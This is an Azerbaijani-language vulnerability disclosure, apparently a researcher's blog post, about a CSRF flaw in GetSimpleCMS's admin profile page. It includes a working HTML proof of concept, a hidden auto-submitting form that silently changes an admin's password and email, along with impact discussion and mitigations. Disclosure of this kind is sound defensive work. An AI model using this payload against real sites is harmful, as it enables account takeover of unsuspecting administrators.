BOOK THIS SPACE FOR AD
ARTICLE ADBu günlərdə GetSimpleCMS -i nəzərdən keçirərkən ciddi bir təhlükəsizlik problemi ilə üzləşdim. İdarə panelində parol dəyişdirmə funksiyasında bir CSRF zəifliyi var idi ki, bu da istifadəçinin xəbəri olmadan onun adından dəyişikliklərin həyata keçirilməsinə imkan verir. Bu, istifadəçilər üçün böyük risk yaradır, çünki hesablarının ələ keçirilməsi və ya məlumatlarının dəyişdirilməsi kimi nəticələrə səbəb ola bilər.
GetSimple Content Management System Nədir?
GetSimpleCMS, sadə və istifadəsi asan bir məzmun idarəetmə sistemidir. PHP ilə hazırlanmış bu CMS, xüsusi ilə kiçik və orta həcmli saytlar üçün nəzərdə tutulub. Digər CMS-lərdən fərqli olaraq, GetSimple məlumatları bazada saxlamır; onun əvəzinə məlumatlar XML fayllarında saxlanılır ki, bu da onu sürətli və sadə layihələr üçün ideal seçim edir. İstifadəsi rahat, yüngül və minimalist olması səbəbilə, GetSimple çoxlu sayda kiçik biznes və fərdi sayt sahibləri tərəfindən istifadə olunur.
CSRF Təhlükəsi Nədir?
Bu zəiflik, tətbiqdə “Cross-Site Request Forgery” (CSRF) adlanan bir hücuma yol açır. CSRF hücumu zamanı zərərli bir link vasitəsilə istifadəçini aldadaraq, onun icazəsi olmadan müəyyən əmrlər icra edilə bilər. Yəni istifadəçi sadəcə zərərli bir linkə klik edərək, hesaba daxil olmuş vəziyyətdə olduğu halda parolunu dəyişmək kimi əməliyyatların qurbanı ola bilər.
Zəifliyin Təsviri
Tətbiqin admin/profile.php endpointi ilə əlaqəli bu təhlükəsizlik açığı, CSRF tokenlərinin düzgün istifadə edilməməsindən qaynaqlanır. Bunun sayəsində, adi HTML formu ilə belə istifadəçini aldadaraq istənilən dəyişiklikləri həyata keçirmək mümkündür. Bunu göstərmək üçün kiçik bir nümunə hazırladım.
Proof of Concept (PoC)
Aşağıdakı HTML kodu, zərərli bir HTML səhifəsi vasitəsilə istifadəçinin parolunu xəbərsiz şəkildə dəyişə bilər.
<!DOCTYPE html><html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>CSRF Attack POC</title>
</head>
<body>
<h1>CSRF Attack Proof of Concept</h1>
<form id="csrfForm" action="https://localhost/admin/profile.php" method="POST" style="display:none;">
<input type="hidden" name="nonce" value="84315b997b0798aa316fcb424684c647402c7632">
<input type="hidden" name="user" value="salam">
<input type="hidden" name="email" value="salam@gmail.com">
<input type="hidden" name="name" value="Seleme">
<input type="hidden" name="timezone" value="Europe/Berlin">
<input type="hidden" name="lang" value="en_US">
<input type="hidden" name="show_htmleditor" value="1">
<input type="hidden" name="sitepwd" value="Selme1234">
<input type="hidden" name="sitepwd_confirm" value="Selme1234">
<input type="hidden" name="submitted" value="Save Updates">
</form>
<script>
document.getElementById('csrfForm').submit();
</script>
</body>
</html>
Sadəcə bu faylı açmaq və həmin zərərli linkə tıklamaq, istifadəçinin parolunu onun xəbəri olmadan dəyişə bilər. Bu isə istifadəçinin hesabını ciddi təhlükə altına alır.
POC Video:
Mümkün Nəticələr və Təhlükələr
Bu CSRF zəifliyi ilə zərərli istifadəçilər bir sıra əməliyyatları gizlicə həyata keçirə bilər ki, bu da çox təhlükəli nəticələrə gətirib çıxara bilər:
Hesabın Əldə Edilməsi (Account Takeover): Ən əsas təhlükələrdən biri istifadəçinin hesabının tamamilə ələ keçirilməsidir. Zərərli şəxs, istifadəçinin xəbəri olmadan parolu dəyişərək, hesaba tam giriş əldə edə bilər. Bu, xüsusilə şəxsi və ya iş hesablarında ciddi təhlükələr yaradır.Şəxsi Məlumatların Dəyişdirilməsi və Oğurlanması: Bu zəiflik vasitəsilə hücum edən şəxs istifadəçi hesabında saxlana bilər, şəxsi məlumatları dəyişə bilər və ya oğurlaya bilər. Bu məlumatlar e-poçt, telefon nömrəsi, istifadəçi adı və digər vacib məlumatları əhatə edə bilər.Problemin Həlli və Tövsiyələr
Bu cür təhlükəsizlik zəifliyinin qarşısını almaq üçün bir neçə addım atılmalıdır:
CSRF Tokenləri əlavə etmək: Hər bir əməliyyatda unikal bir CSRF tokeni istifadə edilməli və server tərəfindən doğrulanmalıdır.SameSite Cookie Atributu: Bu atributla cookie-lərin xarici mənbələrdən göndərilməsinin qarşısı alınmalıdır.İstifadəçinin Təsdiqi: Mühüm dəyişikliklərdən əvvəl istifadəçidən təsdiq istənilməlidir.Github: https://github.com/Zeynalxan/zero-day/blob/main/GetSimpleCMS-CVE.md
Linkedin: www.linkedin.com/in/zeynalxanquliyev